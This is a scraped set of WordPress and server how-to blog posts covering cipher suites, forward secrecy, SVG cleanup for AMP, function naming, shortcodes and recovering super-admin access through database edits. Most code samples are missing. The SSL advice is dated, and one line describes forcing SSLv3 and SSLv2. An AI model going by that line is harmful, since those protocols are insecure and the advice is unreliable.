Why was it enabled at all? As it happens, it was enabled on my servers for browsers that can only use it. Old browsers. The funny part is that those old browsers can’t support SNI (which is what lets me have multiple certificates and multiple https sites on one IP address), so the domains were broken anyway.
To disable, I went to WHM Home » Service Configuration » Apache Configuration » Global Configuration and changed my cipher suite to `ALL:!ADH:!RC4:+HIGH:+MEDIUM:-LOW:-SSLv2:-EXP:!kEDH`
The `!RC4` is the part that says “Not this one!”
Restart Apache and you’re safe to go!
**Categories:** How To
**Tags:** cpanel, security, servers, ssl
---
### [SSL Security: Forward Secrecy](https://halfelf.org/2017/ssl-security-forward-secrecy/)
**Published:** February 1, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Keeping your readers and customers safe requires a little elbow grease with SSL Ciphers.
**Content:**
Forward secrecy is actually what it sounds like. It forwards on secrecy. This means that the secret keys you have won’t be compromised even if the server’s key gets hacked. The way it works is by constantly changing things. Basically it’s rotating its encryption forever.
> “You’re constantly generating new keys for new messages,” says Nadim Kobeissi, the creator of Cryptocat, one instant messaging app that was early adopter of perfect forward secrecy. That means if a user’s device is stolen or hacked and eavesdroppers steal a decryption key, it doesn’t matter. “The latest message gets compromised, but any message prior to that message or after it can’t be decrypted,” Kobeissi says.
This is a good thing to have on your own server, as it means if a secure transaction (like an ebook sale) is compromised, only that one instance is impacted. No one else gets hacked. No other part of the sale is affected. You minimize damage considerably.
## Let’s do this thing!
On Monday we killed off RC4 by going to WHM Home » Service Configuration » Apache Configuration » Global Configuration and changing the cipher suite to this: `ALL:!ADH:!RC4:+HIGH:+MEDIUM:-LOW:-SSLv2:-EXP:!kEDH`
In order to properly handle perfect forward security, we have to reorder things. Instead of using `ALL`, which calls everything, we need to put the ciphers in a preference and omit the ones we don’t want. That gives us this:
Awesome. Once we set that, and restart Apache, we go to Service Configuration » Apache Configuration » Include Editor » “Pre Main Include” and pick ‘All Versions’ from the drop down. I’ve edited this section before, when adding [HSTS](https://halfelf.org/2016/https-hsts/) support. But then I edited `pre_virtualhost_global.conf` (“Pre VirtualHost Include”). This is just a different section.
In the Pre Main Include section, put this:
This forces the SSL protocol to v3 and then v2, but then it demands the order of the ciphers be honored.
Restart Apache and you’re done.
## Testing it
If you want to test, go to [ssllabs.com/ssltest](https://www.ssllabs.com/ssltest) and you should see something that says A or A+. If you don’t have it right, you’ll max out at an A-.

This site? It’s currently an A+, however that target is always moving. Keep safe out there.
**Categories:** How To
**Tags:** cpanel, security, servers, ssl
---
### [Text Alerts and Email](https://halfelf.org/2017/text-alerts-email/)
**Published:** January 27, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Forwarding emails to texts? Yeah, you can do that.
**Content:**
Sometimes there are specific emails you want to be alerted to immediately. While there are a lot of options for this, like scripting things on the server level, most email tools let you handle this on their end.
## Cautions
Short email is better. You get 160 characters. So this is a tweet length of stuff. Whatever emails you decide to do this with *must* be short.
Be very careful based on how many texts you think you’ll get. If you get too many, you’ll blow through your limits.
In order to email anything to your phone as a text, you need to know your email address. They all work the same way, in that it’s a phone number followed by an `@something` – just like normal email. What’s your address? You’ll have to read your network provider’s documentation. Wikipedia has a list of some [US carriers](https://en.wikipedia.org/wiki/SMS_gateway#Email_clients) that can get you started. If you have the option for MMS, and you know your email has pictures and stuff, use that. But again, you should be short!
## How To
All you have to do is create a filter for the emails you want to forward. Seriously, that’s it.
My gmail filter looks for emails with the subject `[Mass WP Upgrade]` and if found, applies a label, moves to a folder, never marks as spam, and yes, texts me.

If you do this you’ll get an alert telling you that if you don’t mark things as spam, you can (heh) spam the hell out of your forward and get in trouble.
This is pretty much the same as for cPanel, who has incredibly [robust filter available](https://documentation.cpanel.net/display/CKB/How+to+Configure+Mail+Filters). The extra fun is that while you can just use “Redirect to Email” to forward the message, you can *also* pipe it to a program on your server. If that made no sense to you, don’t worry about it. Just know it’s there.
If you’re using gmail, you also need to add your text email address as a forwarding address. *Don’t Panic!!* I know it makes it look like it’ll forward all your email. It won’t. For cPanel and other things, they don’t require verification of the forwarding destination.
**Categories:** How To
**Tags:** email
---
### [Can AMP and SVGs Be Friends?](https://halfelf.org/2017/can-amp-svgs-friends/)
**Published:** January 13, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If you're too lazy to read, the answer is "Don't use SVGs on AMP pages."
**Content:**
Spoiler: Not at the moment, no.
## Warning: Fix errors on your AMP pages
On January first, I got a scary email with that subject:
> Google systems have detected that some of your AMP pages do not meet our guidelines and will therefore not show in Google Search AMP-related features.
Yikes! I ran over to Google Webmaster Tools and saw I had well over 400 pages with critical issues. Happy New Year to me, right? Looking at them, most of the problems were exactly the same:
- The tag ‘pgfref’ is disallowed.
- The tag ‘pgf’ is disallowed.
- The attribute ‘i:extraneous’ may not appear in tag ‘g’.
- The attribute ‘xmlns:x’ may not appear in tag ‘svg’.
- The tag ‘switch’ is disallowed.
Right away, I knew this was from my SVGs. On this site, I use SVGs instead of PNGs because they look crisper on retina screens and they can be colored on the fly. Basically I really like the power of SVGs. And, as far as I could tell, SVGs worked on AMP pages. I read the details on [SVGs in AMP/HTML](https://github.com/ampproject/amphtml/blob/master/spec/amp-html-format.md#svg) and it’s listed there, after all.
But in reading the errors and looking at my SVGs in a text editor, I quickly saw what was wrong.
## Most SVGs have Extra Data
I use the Block Bundle from [Symbolicons](http://symbolicons.com) for my SVGs. They’re awesome, but once in a while I have to edit them and clean up some extraneous data within. Adobe Illustrator, for example, puts in a lot of junk at the top of my SVGs:
But in the case of the SVG having a problem, it had … well. This:
I’ve truncated the code because it’s insanely long. In fact, it’s so long that with all of it, the file is 25k larger!
Let me explain. The SVG there has ‘switch’ code. The switch code is awesome because it can change what’s displayed based on what the file detects. For example if I wanted to make different text show based on the detected system language, I would do this:
The problem is that AMP? Doesn’t like that.
## AMP Doesn’t Trust SVGs
AMP really doesn’t like fancy things. This makes sense. It’s meant to be faster for mobile browsers, so it’s streamlined and simplified. Fine. It wants simple SVGs. Obviously one fix here is I could clean up all my SVGs. The other one would be to do what AMP suggests and that is to whitelist attributes. Except you can’t do it. Yet.
There is a reason for this, and it’s similar to the same reason WordPress doesn’t (yet) allow SVGs to be uploaded by default. Unlike images, SVG files contain *code*. An user who can upload an SVG has the ability to upload code files which can be executed in the victim’s browser. Picture this. An attacker uploads an image to a forum. If the forum links to the image with `` then the end-user’s browsers load the SVG and run the code. Yaaaaaay.
SVGs are dangerous. And to help this, AMP says SVGs with special tags are not welcome.
## The Fix?
Edit your SVGs or, if you’re me, ditch the images all together. I decided to go with the ditching since I wanted the pages to load fast. It’s the point of AMP after all.
**Categories:** How It Works
**Tags:** amp, images
---
### [Prefix or Suffix](https://halfelf.org/2017/prefix-or-suffix/)
**Published:** January 25, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making your function names readable by humans is, perhaps, the most important thing.
**Content:**
I’ve been seeing a lot of a new trend in coding, which stems from boilerplate plugin code, and that is the use of suffixes in function names. This has become increasingly popular in WordPress code and I, for one, am not a fan.
## WordPress Function, What’s Your Function?
[Otto](https://ottopress.com) likes to say that well named functions don’t need code comments.
While optimistic in this day and age of complex code, the basic concept remains quite valid. If you name your functions well, the chances are that they will trigger your contextual memory and you’ll remember what they are, what they do, and why they’re there. To this end, the difference between `function activate_pluginname()` and `function pluginname_activate()` is miniscule. Both of those are clearly functions that run on ‘activate’ and that makes perfect sense. We can see the purpose of the function by its name, and that is the majority of Otto’s point. They *are* well named as they indicate their job. The issue then does not like in the name of the function but in the *format* of the name of the function.
## Function Name Conflicts
A majority of the time, my argument for having unique function names is that there are over fifty-thousand plugins out there, and the odds of two of them having the same function name is quite high, for cases when the function name is generic. For example, `function my_plugin_init()` is not unique in the slightest. Yes, people literally use `my_plugin_` as a prefix. That’s not a placeholder. That particular error occurs when people use boilerplates and don’t read the directions clearly. Most state “Search and replace `my_plugin` with your plugin prefix.”
Preventing conflicts means it’s incumbent of developers to select *unique* function names. Now this pressure is alleviated by the use of namespaces and classes, but even those have to be unique to their plugin (or theme). After all, `class WordPress` is not a great classname.
Again, in this regard there is very little difference between `function activate_pluginname()` and `function pluginname_activate()` in the real world. Both are unlikely to cause conflicts.
## Internal Consistency is Good
Another aspect of names is that good function names are logical and consistent. Few things pain me more than seeing `function pluginname_init()` and `function pn_admin_init()` (where pn is an abbreviation for the plugin name). What I see a great deal with the plugin name as suffix is this hodgepodge of names:
- `init_plugin_name()`
- `plugin_name_uninstall()`
- `pn_wp_class_list()`
My guess at this point is that any time a particular boilerplate doesn’t specify the name of the function needed, people fall back into old habits. Or rather, they fall back into the *recommended* habits. You know, a prefix. Consistently named functions make it easier for people to recognize what function belongs to what plugin or theme.
## So why Prefix?
This takes us to an interesting point. Both `function activate_pluginname()` and `function pluginname_activate()` meet the requirement of being well named *and* unique (and **can** be consistent). So what actually is the problem here?
The problem is the future.
Your code does not exist in a vacuum! Code that will only ever be used on your own server still runs with the other plugins and themes you add, and they could cause a conflict. It’s somewhat trivial to change those things, but it’s not fun and usually it means that you broke something in your live environment.
- Consistently named functions make it easier to know what function relates to what.
- Uniquely named functions are easier to find.
- Well named functions remind you what the function is supposed to do.
But again, why *prefix*?
## Remember Who Comes Next
I do a *lot* of searches on code in myriad plugins. More than most people involved in WordPress I suspect. I have a very peculiar relationship with plugins, after all. When the core developers want to figure out how ‘well used’ a function is before changing it, I help out by running a search on all the code in the plugin directory. This results in me finding a lot of weirdly named functions that require me to track back through the plugin and find out what it’s really doing. When things are prefixed, this search goes a *lot* faster.
Besides just my convenience, when you remember that your code is used by thousands of people, *they* will have an easier time searching for your code when they have an error. If you got an error that a function named `halfelf_init` was doing something wrong, you could run this to find the file: `grep -r "halfelf_init" ./wp-content/`
Some of the more experienced debuggers out there are probably wondering why I grep from `wp-content` when *most* errors give the full path of `wp-content/plugins/plugin-name/filename.php` in the first place. The answer to that is “most” but also because often functionality plugins that are related to a theme (or other plugins) will cross-reference themselves in ways that can cause PHP to give you the wrong file for the problem.
If you ran my check and found that the function was called in nothing but files in that plugin’s folder, great. But if you found it was called in a theme, you would then want to run this: `grep -r "halfelf_" ./wp-content/themes/theme-name/` — That would reveal *all* the calls for the functions that belonged to a specific other tool.
And what if you got a warning that the function had *already* be declared? `grep -r "function halfelf_" ./wp-content/plugins/other-plugin/` will list all the functions that start with `halfelf_` and save you a headache of solving one warning only to have it be replaced by another. (Of course, if you use namespaces or classes, this gets thrown out the window, oh well).
Finally there’s the human factor. This is exceptionally subjective, I know, but doesn’t a line of functions all starting with the same term feel *cleaner* to you? It demonstrates a repeating pattern that a human mind can follow and feel comfortable with.
## Solution: Be Consistent
There’s only one solution to be had here. While I greatly prefer a prefix, if you chose to use a suffix, *be consistent*. Make every single function *end* with `_pluginname` and don’t skip a single one.
**Categories:** How It Is
**Tags:** coding, names, wordpress
---
### [Copyright Years for WordPress](https://halfelf.org/2017/copyright-years-wordpress/)
**Published:** January 6, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Echoing the year for copyright in a shortcode isn't terribly complicated, and you can even account for year zero.
**Content:**
At the bottom of every page on my site is a little bit of info declaring copyright: “Copyright © 2017 Mika A. Epstein”
How do I do that and not have to update all my site themes and widgets every year? With code, of course! I have both a function I could use in themes and a shortcode I could use anywhere a shortcode can be used.
## The Code
There are two functions, the base code and the shortcode. The concept is that if you don’t put in a year (which is the start year for your copyright) it will only show the current year. If you *do* put in year, it forces it to be an integer and then does a couple checks. The checks were originally as follows:
1. Is `$year` ‘auto’? Force this year.
2. Is `$year` this year? Force this year.
3. Is `$year` equal to 0? Force this year.
4. Is `$year` *greater than* this year? Oh, silly human. Force this year.
5. Is `$year` less than this year? Use the ‘start – end’ format
The reason for this is practical. We’re sanitizing things as early as we can, and then we’re checking for the logical and illogical entries. If someone decides the year is ‘Bob’ then `intval()` throws a 0 *and* since 0 isn’t actually a valid year in the Gregorian calendar, then I can do a simple “if 0” check.
But … I’m not so bold as to assume the only people who will want this are using the Gregorian calendar. To be more universal, I changed the code to make the first check for if the year was set to ‘auto’ (which defaults to this year), *or* if it was a non-number. If it’s not a number, you get forced this year. Otherwise, the code trusts you.
The one failing here is I only account for the common era (or ‘AD’ for those who didn’t know we all switched to CE a while back). I’m sure this can be extended to BCE if so desired. Spitballing, I’d just use negative numbers, check for them and output ‘year BCE – year CE’ instead. But that’s a little much for this use case.
## Usage
As a shortcode: `Copyright 2016 - 2026`
As a function: `helf_auto_copyright_shortcode( '2016', 'Copyright' );`
Both will output the same thing (as of 2017): Copyright 2016 – 2017
And in 2018? It will magically update for you.
**Categories:** How To
**Tags:** coding, shortcode, wordpress
---
### [Mailbag: When Do I Use "If Exists"?](https://halfelf.org/2017/mailbag-use-exists/)
**Published:** January 20, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A quick answer: Use unique names in everything except shared libraries.
**Content:**
Someone pinged me on slack about this. Bear in mind, I tell people “If you got an email from plugins, please press *reply* and email back, don’t slack me.” because it allows me to keep track of the whole history of a conversation, but also because if I’m sick, someone else can reply to you and you’ll wait less. While, in this case, the answer should have been very short, it grew to be a lot longer than he’d expected because he didn’t quite understand what I meant.
## Unique Prefixes
One of the requirements of the Plugin Directory is that all plugins have unique function names, defines, and classnames. This is for a pretty obvious reason: it will prevent your plugin from conflicting with other plugins or themes.
- For plugins, use a function or classname that matches the plugin name: `class ThisPluginName{}` or `function ThisPluginName_FUNCTION()`
- For specific specific sites, use a function class for the domain: `class HalfElfOrg{}` or `class HELF{}` or `function helf_FUNCTION`
This extends to all things, including defines, namespaces, enqueue’d handles, and on and on. As I tell people, “A namespace or class of `MyPlugin` is **not** actually all that unique…” Defines are extra tricky since sometimes you want to define them and allow them to be replaced. But more on that in a minute. No matter what, this is bad: `define( 'PLUGIN_PATH', plugins_url( __FILE__ ) );`
Since it’s 2016, I have to tell people that they shouldn’t use two letter slugs anymore as all the good ones are taken. I also tell them not to use `wp_` or `__` as a prefix.
And then I say this:
> If those are intended to be in shared libraries, please detect IF the code is already included and not re-include it, as doing so will cause conflicts if two people call the same defines and functions.
Yeah. It’s messy.
## If Define Exists…
This is used a lot. Let’s say you know you need the plugin basename (the folder name) in multiple sub folders of you plugin, and it’s a pain in the ass to do `plugins_urls( 'foo.css' , dirname( dirname( __FILE__ )) );` to go up two folders. That’s a case where a global define starts to make sense and it’s a case where *rarely* would you want to bother checking if it exists.
The code is just this: `define( 'MY_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );`
But what if you want to have a default value for an API Key and allow people to override it? Then you can one of these:
What those do is check “Does the define already exist?” for you.
Now keep in mind, I wouldn’t do that. I’d do this:
The best example of this in core WP is how `WP_DEBUG` is handled. If you delete that from your `wp-config.php` file, it doesn’t turn on debugging. The code checks for the existence and if it’s not there, it assumes no. For the most part, if you name your defines properly, there’s no need to allow them to be overwritten because you’re not defining them in advance. But in case you do, this code is a wise idea.
## If Function (or Class) Exists …
Lately I’ve seen a lot of people do this:
Okay look. This *sounds* like a great idea until you realize the fatal flaw. What happens when (not if, when) someone else has a function with the same name and their plugin or theme loads first?
As Lilu Dallas would say “Big badda boom.”
This is a terrible idea *unless* we’re talking about *shared* libraries.
## Use if-checks With Shared Libraries
That’s my answer here folks. The only time you should be checking if-exists is *WHEN* you are using a shared library. If your plugin includes a common PHP library, check for it before you include it.
It’s a little different with Javascript and CSS though. Let’s say you’ve got Bootstrap. This is a commonly used library. A *lot* of plugins and themes have it, and you’re a good person. You want to make sure you only load it one time no matter how many people include it in their plugins and themes. In this moment, you have to do something paradoxically brilliant.
Don’t use a unique name for your enqueues.
The magic here is specific to how WordPress handles enqueues. It knows “There’s already something enqueued as bootstrap! I don’t need this!” and you’ve sped up sites. Of course there’s a risk here when someone might have an older version loaded first. As far as I know, the enqueue system isn’t clever enough to detect what version is included, and use the newest one (I wish it was), so you may have to do some convoluted checks. Also making this worse is that people don’t name things properly. I’ve see people using `bootstrap-js` and `bootstrap-css` for the enqueue names, which is totally unnecessary. WordPress will handle that for you.
Remember: When in doubt, if coding for WordPress do it the WordPress way.
**Categories:** How It Works
**Tags:** coding, essay, mailbag
---
### [PHP Ternary Operations](https://halfelf.org/2017/php-ternary-operations/)
**Published:** January 18, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Understing a faster way to sort through true/false scenarios in PHP.
**Content:**
I mentioned a few days ago that I finally got to use ternary operations in my code and I was excited.
I have a tendency to write my code out long form, which stems from how I actually sit down and think about my code. For example, when I need to check if specific parameters are set, I write it out like this:
> If variable X is equal to FOO, then do BLAH. Else do DEFAULT!
When I translate that to PHP code, it becomes this:
There’s nothing particularly wrong with it, but it can get a little long. And then consider code like this:
That has two issues. The first is that I’m trusting my data a little more than I should and not sanitizing when I save the variable. The second is I’m not validating smartly. If I want to be smarter, I do this:
At this point, I’m no longer allowing my code to be anything but yes or no, and if someone puts in ‘maybe’ as a value for the POST data, that’s nice but I’m forcing no.
Another alternate way is this:
There I default to ‘no’ and only pick ‘yes’ if it’s set to yes. This code is somewhat better because it only has one check and it’s obvious what my default is.
But we can be even smarter! The trick is that I have to rethink how I’m checking for things. If all I care about is if a comparison is true or false, and I want to save a specific value to a variable based on that, then I can do my code all in one line:
This is the magic of the [ternary operators](http://php.net/manual/en/language.operators.comparison.php#language.operators.comparison.ternary). With it I get one line that checks for a specific result and defaults when that’s not it. You can make it more complicated, as long as the result is true/false. Like here:
Obviously they won’t work in all situations, and there are some cases where the two possibilities are going to make the code harder to read, but they can be downright nifty if you do them right.
**Categories:** How It Works
**Tags:** coding, php
---
### [Cleaning up SVGs](https://halfelf.org/2017/cleaning-up-svgs/)
**Published:** January 16, 2017
**Author:** Ipstenu (Mika Epstein)
**Content:**
If you were here on Friday, I talked about the headache of [using SVGs on AMP pages](https://halfelf.org/2017/can-amp-svgs-friends). In that post I mentioned that one of the fixes was to ‘clean’ the SVG file.
Why would be bother? The simple answer is that smaller files are better. But as we learned with AMP being picky, it’s also because we want our files to be fully compatible with all browsers and servers. SVG standards are important, after all.
So let’s clean!
## Remove Headers
If your SVG starts with this, just remove it:
## Remove Less Standard Tags
I wouldn’t have realized these weren’t super standard if it hadn’t been for AMP alerts. But these aren’t:
Again, remove them. But also you want to remove tags like `` and that’s tricky because you’ll usually see it like this:
If you use a regular expression like I did, be *very* cautious. I checked every single one of my 700 SVGs after the edits to make sure they still worked. There were cases where the only call to the `` tag was with the extraneous stuff, so I had to very cautiously replace. I missed about 40.
## Remove Illustrator’s Extra Shit
Here’s where you’re going to save the most space. First remove the `requiredExtensions` stuff:
And then remove the big hunk of PGF:
I can’t show you the actual content. It’s huge. It’s way huge. It’s up to 20k huge.
## Remove Switch
If you’re not using the switch, you want to remove it.
## End Result?
A 29 KB file is 4KB. And that is a faster internet.
**Categories:** How To
**Tags:** images, speed
---
### [Rebranding Featured Image](https://halfelf.org/2017/rebranding-featured-image/)
**Published:** January 11, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Featured Images renamed and rebranded.
**Content:**
WordPress 3.0 introduced featured images, letting everyone designate an image for a post (or page) in a way that themes have taken great advantage of in the intervening years. The concept of a ‘featured’ image was easy enough to understand. An image the content featured. Cool. But it can do so much more.
## The Defaults
The basic box is one all WordPress users are familiar with:

A simple box that says “Featured Image” with a link to set the featured image.
It’s great, but it’s a little boring.
## Changing the Title
The actual trick to this is to remove the metabox. The three attributes you will need are the name of the meta box, the post type, and the location. The post type is the one most of you are going to change. For example, I wanted to change the title for a specific post type so it was clearer what kind of image I was looking for to use as a featured. For TV shows, I wanted it to indicate that I was looking for a Title Card type image.
This little snippet removes the meta box and then *adds it back* with a new title:

## Changing the Main Content
Once the title is changed, the next step is to change the content. I’ve done this before, putting in [the image size to the content](https://halfelf.org/2014/featured-image-size-redux/). What I wanted to do here was change the content from “Set featured image” to “Set show image” and for that, I want to use a string replacement:
But that only changed the one. Once you’ve set a featured image, the language changes to “Remove featured image”. I could add in more replacements, or I could be smart. We like being smart.
And yes, it works.
## Customizing by Type
What if you have ten custom post types? Well then it’s time to get smart! By using anonymous functions, we can do this quite effectively, getting a list of all the publicly registered post types that *aren’t* the built-ins, and then for each one, renaming the content:
This trick uses the values of a custom post type which you already set when you built out your custom post types.
## Customizing the Content Further
Now that we’ve changed ‘featured’ to match our custom post types, it’s time to take it even further. Can we *smartly* add in the image size? Usually the answer here is no, because it’s impossible to know what you want to have as your featured image size for each custom post type. As it happens I can because I was smart.
Every single CPT that has a special image has an image size for it:
And my post-names for those things are ‘post\_type\_characters’ and ‘post\_type\_shows’. This means I can add the following to my filter for `admin_post_thumbnail_html`:
This could even be extended to only show the image size when it was not set. For now, this does what I want.
## How’s it look?
Not bad:

And there you have it. More information for your users to know what kind of and size image to use.
**Categories:** How To
**Tags:** coding, wordpress
---
### [Recoding Taxonomies](https://halfelf.org/2017/recoding-taxonomies/)
**Published:** January 9, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Renaming the secret names of your taxonomies for mental health.
**Content:**
It’s hard to know what the future will be. When initially building out a site, it’s a game of guesswork to name things. You want to name them to be long term sustainable, but without a crystal ball, there will be missteps.
Take, for example, the case of custom taxonomies. When my site was originally built out, it only had one custom set of tags and they were logically called `sitename_tags`. As the site grew, it became apparent that multiple tags were going to be needed and, in the end, it had five.
## What Are Our Names
While it’s relatively easy to rename a taxonomy’s display name by editing the data in `register_taxonomy`, you *don’t* want to rename the `rewrite` after the fact. You can do it, of course, but I recommend you be really up to speed on your redirects before you try. Obviously the best choice is to pick good names in the beginning. But what names are we actually talking about?
1. The Display Name – This is the name your readers (and you) see. Categories and Tags are display names. In my case, Stations, Clichés, and Tropes are display names. You can change these as you need.
2. The Slug – This is the rewrite I mentioned. It’s in your URL. Don’t change this unless you know redirects.
3. The Taxonomy Name – This is secret. You’d only know what it was if you hovered over the links and noticed that tags have a taxonomy of `post_tag`.
Today we’re talking about that third one.
## Why Bother?
If you’re the only one who really sees that you named your stations `show_tag` instead of `show_station`, why does it matter?
As it turns out, if you’re working on the theme and plugins for a site, you will end up running into those quirks when you write a loop to perform complex displays on your data. It’s both annoying to have to always comment things like “Yes show\_tag means show\_station” so that future you knows what the hell you’re doing.
Like my friend says, the best documentation for a function is a good name, and fixing the name will make you feel better and smarter.
## How To Do It
This requires two steps:
1\) Run a search/replace on your files to swap the names out
2\) Run a search/replace on your database to swap the names out
The reason is that those two things have to be in sync. Since my world lives in a git repo and a server with WP-CLI, I ran a search/replace on my files, pushed the changes, and then ran a quick `wp search-replace show_tag show_station` to clean it up.
The important thing to note is that what you’re changing in your database is *not* post content, but meta information and tags tables.
**Categories:** How To
**Tags:** coding, wordpress
---
### [Featured Image Size Redux](https://halfelf.org/2014/featured-image-size-redux/)
**Published:** October 6, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Improving on my display of featured image size for Genesis themes.
**Content:**
One of my themes didn’t have a Genesis Featured Image.
Actually it did, but it didn’t have it as an *named* additional image. And this was a problem because I like to have the featured image size listed in my featured image box, as I explained how to do in my post about how to do this in [Featured Image Size](https://halfelf.org/2014/featured-image-size/ "Featured Image Size"). That theme was using the ‘medium’ size for featured images, which meant by code made the box look like this:

This is because I had no `$_wp_additional_image_sizes`, and that’s what I meant when I said there was no named additional image size. So I had to change up my calculation and check first if the name of the image size was one of the defaults, ‘thumbnail’, ‘medium’, or ‘large’, and size off that and *then* check the other options.
Which gives me this:
Right below the global check, I do an if to scan the array and grab the sizes based on that. It’s exceptionally simple, and the major change was moving it to set variables and then setting based on those outside of the if/else check. But it works perfectly on both my sites with regular sizes and the fancy sizes.
I still don’t have a check to see if the theme is Genesis or not, but this multisite is 100% Genesis for all sites, so it’s not an issue for me. If anyone has a way to check “Is this active theme on this site Genesis or a child,” please share. The world will thank you.
**Categories:** How To
**Tags:** coding, genesis, plugins, themes, wordpress
---
### [Recovering Your Cape](https://halfelf.org/2013/recovering-your-cape/)
**Published:** June 25, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to recover a lost super admin account. Also remember, you are not Oprah.
**Content:**
One of the odder “hacks” out there is one where the person, once they get in, de-frocks your Super Admin on a Multisite. This isn’t always a hack, sometimes it’s just a simple mistake.
To quote my friend [Jen Mylo](http://jenmylo.com/):
> 1. People give away admin rights like logo-encrusted keychains at a car show and then the new admins abuse the power.
> 2. Someone who has admin rights deservedly but doesn’t know code makes a mistake.
>
> \[…\]
>
> Some people make bad decisions about who to give admin roles.
There’s an extra level of problems with making everyone and their pet monkey a super-admin on Multisite. You may think it’s a great thing, because now someone else can add new users, install plugins, edit themes and plugins, and of course, use iframes and PHP and such in widgets.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/tumblr_md8hekGkk31qc184to1_500.jpg)We run a Multisite at work, and they let me ‘secure it up’ recently. The first thing I did was demote pretty much everyone except five of us to ‘Editor.’ I told them all that I’d done this, and if they found something they couldn’t do, tell me, and I’d fix it. At this point, I’ve changed only three people to Admin, and dropped even more to ‘Author.’ Why? Because *they don’t need to have high levels of access to do what they need to do*! The admins on the site can tweak theme settings, play with widgets, and add ‘existing users.’ Everyone else? They just write content. Heck, most of them don’t even need to be Editors, but we gave them that level so they could help us copy-edit other posts. Two people complained “I need Super Admin access!” and I gave them my best Enda: **NO CAPES**.
Limit your admins, and there is less of a chance someone will accidentally remove access from the wrong person.
So now that that’s out of the way, how do you get it back?
Normally, reinstating an admin account is pretty easy. You go in via mySQL, pop open the wp\_usermeta table, find your ID, and toss this in for meta\_value for `wp_capabilities`: ` a:1:{s:13:"administrator";b:1;}` That won’t restore *all* the roles, if you happen to be using Role Scoper, or some other management tool, but if you’ve got that, you can do anything. If you’re using WP-CLI, `wp user update 1 --role=administrator` (assuming you’re user ID 1).
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/Screen-Shot-2013-06-21-at-11.34.20-AM.png)
There’s a sidebar/caveat to this. Sometimes this doesn’t work, and it happens if you change your DB prefix. So normally you have the prefix wp\_ and the table `wp_options`. In that table you have a option named `wp_user_roles` and everything works. But then you make a new site, and you pick a different DB prefix, maybe you heard it was more secure, or maybe you wanted both tables in the same DB. Either way, now you have `wp_wdssrr_options` instead, and when you copy over your old options content, no one can log in. It’s because you have to rename that option to `wp_wdssrr_user_roles`
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/Screen-Shot-2013-06-25-at-10.00.51-AM.png)
I just had a site with this problem last week.
 On the other hand, getting back *Super Admin* access is less straightforward, but by no means is it impossible.
1. Go into wp\_sitemeta and look for site\_admins.
2. In there you will see something like this: `a:1:{i:0;s:7:"Ipstenu";}`
3. If your userID is ‘superman’ then it would be `a:1:{i:0;s:8:"superman";}`
Capitalization and stringlength matter. Add one user, and use that to correctly restore power to the others.
Can you do this via WP-CLI? Yes, if you’re on the latest versions. Kind of. You can get a list of super admins via `wp network-meta get 1 site_admins` and in theory `wp network-meta update 1 site_admins USERNAME` would work except that the data is serialized. I [opened a ticket with WP-CLI](https://github.com/wp-cli/wp-cli/issues/529), and it’s a ‘plugin territory’ issue right now, so I’ll have to see if I can code it myself.
**Categories:** How To
**Tags:** administration, database, hacks, multisite, wordpress
---
### [Displaying Taxonomy Count](https://halfelf.org/2017/displaying-taxonomy-count/)
**Published:** January 4, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Showing a number of posts from a taxonomy in a shortcode was surprisingly complicated.
**Content:**
Monday we displayed post counts. Well, what about taxonomies? That’s a little more complicated, I’m afraid.
Posts are easy. You pick a post type, you display the number of published posts, you walk away. Taxonomies though are a mixed bag. By default you have categories (`category`) and tags (`post_tag`) and inside them, you have terms. For example ‘Uncategorized’ is a category. The problem is that to check if a taxonomy exists (and display a post count), you have two have both the taxonomy name and the term name.
While you think you could just write a loop ‘If the term name isn’t in categories, it’s in tags!’ the reality is that anyone can add any taxonomy and, worse, term names aren’t unique. It’s ironic here, because I desperately wanted term names and slugs to *not* be unique. I wanted to have a tag for ‘random’ and a category for ‘random’ and they all have the same slug names. So here I am now, realizing I’ve set myself up for disaster.
The options are simple:
1. Force people to use term and taxonomy
2. Somehow be clever
I went with option 2. Allow people to use term and taxonomy, but if they don’t, find the first instance and go for it.
## The Code
There are two moments where I bail out early. If they forgot to put in a term, display “N/A”. The same if we get all the way to the end and there was no found taxonomy.
Also if someone puts in a taxonomy, I treat it as an array in order to be lazy and not repeat myself. Good coding doesn’t repeat, so since I have to loop the array of found taxonomies in order to find the matchup, I may as well use it once to find the same data when I know what I have.
I admit, I was really excited here since I finally got to use ternary operations. I’ve known how they work for ages, but I never had a moment where it was so obvious to use them.
**Categories:** How To
**Tags:** coding, shortcode, wordpress
---
### [Displaying Post Count](https://halfelf.org/2017/displaying-post-count/)
**Published:** January 2, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Showing a number of posts in a shortcode isn't that hard. Here's the code.
**Content:**
If you need a count of all your posts in WordPress, there’s a pretty handy function called `wp_count_posts()` for that.
For example, if you have a post-type of ‘characters’ and you wanted to show a count of that, you can do this:
And that’s all well and good, but I was working on some SEO thoughts. In doing so, I ran into the recommendation that, for a ‘company’ type page, having a list of your posts was a bad idea. This made sense. After all, a site that is about non-traditional blog content shouldn’t start with a blog.
To correct this, I restructured the front page to show, in order:
1. An introduction to the site
2. The 4 newest characters added
3. The 4 newest shows added
4. The latest 10 blog posts
This keeps the blog information visible (which helps show that content is being updated) but also doesn’t drop people into a cold open. They can understand why they’re on the site, what they’re getting, and where to go.
But part of telling people about the site meant I wanted to indicate the depth of information. When I used to run a MediaWiki site, I used `{{NUMBEROFARTICLES}}` to list the number of articles. It was a very obvious way to display activity and attentiveness. If a site had 500 articles, it was probably getting up there. If it had 1500, it probably knew what it was doing.
